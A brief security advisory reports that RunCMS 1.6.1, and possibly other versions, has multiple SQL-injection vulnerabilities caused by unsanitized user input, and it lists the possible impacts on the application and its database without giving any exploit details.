RunCMS
is
prone to multiple SQL
-
injection vulnerabilities because it fails to sufficiently sanitize user
-
supplied data before using it
in
an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access
or
modify data,
or
exploit latent vulnerabilities
in
the underlying database.
RunCMS
1.6
.
1
is
vulnerable; other versions may also be affected.
